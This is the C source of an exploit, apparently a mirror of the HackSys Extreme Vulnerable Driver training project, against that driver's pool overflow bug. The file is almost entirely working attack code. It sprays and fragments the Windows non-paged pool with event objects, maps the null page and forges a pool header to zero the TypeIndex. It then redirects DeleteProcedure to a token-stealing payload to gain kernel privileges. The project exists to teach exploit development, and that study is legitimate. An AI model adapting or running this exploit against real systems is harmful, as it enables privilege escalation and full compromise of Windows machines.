mirror of
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
synced 2026-06-08 14:31:02 +00:00
Ashfaq Ansari
243 lines
8.4 KiB
C
243 lines
8.4 KiB
C
/*++
|
|
|
|
## ## ######## ## ## ########
|
|
## ## ## ## ## ## ##
|
|
## ## ## ## ## ## ##
|
|
######### ###### ## ## ## ##
|
|
## ## ## ## ## ## ##
|
|
## ## ## ## ## ## ##
|
|
## ## ######## ### ########
|
|
|
|
HackSys Extreme Vulnerable Driver Exploit
|
|
|
|
Author : Ashfaq Ansari
|
|
Contact: ashfaq[at]payatu[dot]com
|
|
Website: http://www.payatu.com/
|
|
|
|
Copyright (C) 2011-2016 Payatu Technologies Pvt. Ltd. All rights reserved.
|
|
|
|
This program is free software: you can redistribute it and/or modify it under the terms of
|
|
the GNU General Public License as published by the Free Software Foundation, either version
|
|
3 of the License, or (at your option) any later version.
|
|
|
|
This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
|
|
without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
|
See the GNU General Public License for more details.
|
|
|
|
You should have received a copy of the GNU General Public License along with this program.
|
|
If not, see <http://www.gnu.org/licenses/>.
|
|
|
|
THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
|
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
|
ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DIRECT,
|
|
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
|
|
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
|
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
|
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
|
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
|
|
See the file 'LICENSE' for complete copying permission.
|
|
|
|
Module Name:
|
|
PoolOverflow.c
|
|
|
|
Abstract:
|
|
This module implements the exploit for Pool Overflow
|
|
Vulnerability implemented in HackSys Extreme Vulnerable
|
|
Driver.
|
|
|
|
--*/
|
|
|
|
#include "PoolOverflow.h"
|
|
|
|
VOID SprayNonPagedPoolWithEventObjects() {
|
|
UINT32 i = 0;
|
|
|
|
for (i = 0; i < 10000; i++) {
|
|
EventObjectArrayA[i] = CreateEvent(NULL, FALSE, FALSE, NULL);
|
|
|
|
if (!EventObjectArrayA[i]) {
|
|
DEBUG_ERROR("\t\t[-] Failed To Allocate Event Objects: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
}
|
|
|
|
for (i = 0; i < 5000; i++) {
|
|
EventObjectArrayB[i] = CreateEvent(NULL, FALSE, FALSE, NULL);
|
|
|
|
if (!EventObjectArrayB[i]) {
|
|
DEBUG_ERROR("\t\t[-] Failed To Allocate Event Objects: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
}
|
|
}
|
|
|
|
VOID CreateHolesInNonPagedPoolByCoalescingEventObjects() {
|
|
UINT32 i = 0;
|
|
UINT32 j = 0;
|
|
|
|
for (i = 0; i < 5000; i += 16) {
|
|
for (j = 0; j < 8; j++) {
|
|
if (!CloseHandle(EventObjectArrayB[i + j])) {
|
|
DEBUG_ERROR("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
VOID FreeEventObjects() {
|
|
UINT32 i = 0;
|
|
UINT32 j = 0;
|
|
|
|
for (i = 0; i < 10000; i++) {
|
|
if (!CloseHandle(EventObjectArrayA[i])) {
|
|
DEBUG_ERROR("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
}
|
|
|
|
for (i = 8; i < 5000; i += 16) {
|
|
for (j = 0; j < 8; j++) {
|
|
if (!CloseHandle(EventObjectArrayB[i + j])) {
|
|
DEBUG_ERROR("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
DWORD WINAPI PoolOverflowThread(LPVOID Parameter) {
|
|
ULONG BytesReturned;
|
|
HANDLE hFile = NULL;
|
|
PVOID Memory = NULL;
|
|
PULONG UserModeBuffer = NULL;
|
|
LPCSTR FileName = (LPCSTR)DEVICE_NAME;
|
|
PVOID EopPayload = &TokenStealingPayloadPoolOverflowWin7;
|
|
SIZE_T UserModeBufferSize = (ULONG)(POOL_BUFFER_SIZE + TYPE_INDEX_OVERWRITE);
|
|
|
|
__try {
|
|
// Get the device handle
|
|
DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
|
|
DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName);
|
|
|
|
hFile = GetDeviceHandle(FileName);
|
|
|
|
if (hFile == INVALID_HANDLE_VALUE) {
|
|
DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
else {
|
|
DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
|
|
}
|
|
|
|
DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");
|
|
|
|
DEBUG_INFO("\t\t[+] Allocating Memory For Buffer\n");
|
|
|
|
// Allocate the Heap chunk
|
|
UserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(),
|
|
HEAP_ZERO_MEMORY,
|
|
UserModeBufferSize);
|
|
|
|
if (!UserModeBuffer) {
|
|
DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
else {
|
|
DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", UserModeBuffer);
|
|
DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", UserModeBufferSize);
|
|
}
|
|
|
|
DEBUG_INFO("\t\t[+] Mapping Null Page\n");
|
|
|
|
if (!MapNullPage()) {
|
|
DEBUG_ERROR("\t\t[-] Failed Mapping Null Page: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n");
|
|
|
|
RtlFillMemory((PVOID)UserModeBuffer, UserModeBufferSize, 0x41);
|
|
|
|
// Restore POOL_HEADER and set TypeIndex to 0x00 (TypeIndex is UChar)
|
|
Memory = (PVOID)((ULONG)UserModeBuffer + (ULONG)POOL_BUFFER_SIZE);
|
|
*(PULONG)Memory = (ULONG)0x04080040;
|
|
Memory = (PVOID)((ULONG)Memory + 0x4);
|
|
*(PULONG)Memory = (ULONG)0xee657645;
|
|
Memory = (PVOID)((ULONG)Memory + 0x4);
|
|
*(PULONG)Memory = (ULONG)0x00000000;
|
|
Memory = (PVOID)((ULONG)Memory + 0x4);
|
|
*(PULONG)Memory = (ULONG)0x00000040;
|
|
Memory = (PVOID)((ULONG)Memory + 0x4);
|
|
*(PULONG)Memory = (ULONG)0x00000000;
|
|
Memory = (PVOID)((ULONG)Memory + 0x4);
|
|
*(PULONG)Memory = (ULONG)0x00000000;
|
|
Memory = (PVOID)((ULONG)Memory + 0x4);
|
|
*(PULONG)Memory = (ULONG)0x00000001;
|
|
Memory = (PVOID)((ULONG)Memory + 0x4);
|
|
*(PULONG)Memory = (ULONG)0x00000001;
|
|
Memory = (PVOID)((ULONG)Memory + 0x4);
|
|
*(PULONG)Memory = (ULONG)0x00000000;
|
|
Memory = (PVOID)((ULONG)Memory + 0x4);
|
|
*(PULONG)Memory = (ULONG)0x00080000;
|
|
|
|
DEBUG_INFO("\t\t\t[+] TypeIndex Of Event Object Set To: 0x0\n");
|
|
|
|
DEBUG_INFO("\t\t[+] Preparing OBJECT_TYPE_INITIALIZER At Null Page\n");
|
|
|
|
// Set the DeleteProcedure to the address of our payload
|
|
*(PULONG)0x00000060 = (ULONG)EopPayload;
|
|
|
|
DEBUG_INFO("\t\t\t[+] DeleteProcedure: 0x%X\n", *(PULONG)0x00000060);
|
|
DEBUG_INFO("\t\t\t[+] DeleteProcedure Address: 0x%p\n", (ULONG)0x00000060);
|
|
|
|
DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload);
|
|
|
|
DEBUG_INFO("\t\t[+] Preparing NonPaged Kernel Pool Layout\n");
|
|
|
|
DEBUG_INFO("\t\t\t[+] Spraying With Event Objects\n");
|
|
|
|
// Spray the NonPaged Pool
|
|
SprayNonPagedPoolWithEventObjects();
|
|
|
|
DEBUG_INFO("\t\t\t[+] Creating Holes By Coalescing\n");
|
|
|
|
// Create the holes for the vulnerable buffer
|
|
CreateHolesInNonPagedPoolByCoalescingEventObjects();
|
|
|
|
DEBUG_MESSAGE("\t[+] Triggering Pool Overflow\n");
|
|
|
|
OutputDebugString("****************Kernel Mode****************\n");
|
|
|
|
// Allocate the vulnerable buffer in one of the holes we created
|
|
DeviceIoControl(hFile,
|
|
HACKSYS_EVD_IOCTL_POOL_OVERFLOW,
|
|
(LPVOID)UserModeBuffer,
|
|
(DWORD)UserModeBufferSize,
|
|
NULL,
|
|
0,
|
|
&BytesReturned,
|
|
NULL);
|
|
|
|
OutputDebugString("****************Kernel Mode****************\n");
|
|
|
|
DEBUG_INFO("\t\t[+] Triggering Payload\n");
|
|
|
|
DEBUG_INFO("\t\t\t[+] Freeing Event Objects\n");
|
|
|
|
// Free the NonPaged Pool
|
|
FreeEventObjects();
|
|
|
|
HeapFree(GetProcessHeap(), 0, (LPVOID)UserModeBuffer);
|
|
|
|
UserModeBuffer = NULL;
|
|
}
|
|
__except (EXCEPTION_EXECUTE_HANDLER) {
|
|
DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
return EXIT_SUCCESS;
|
|
}
|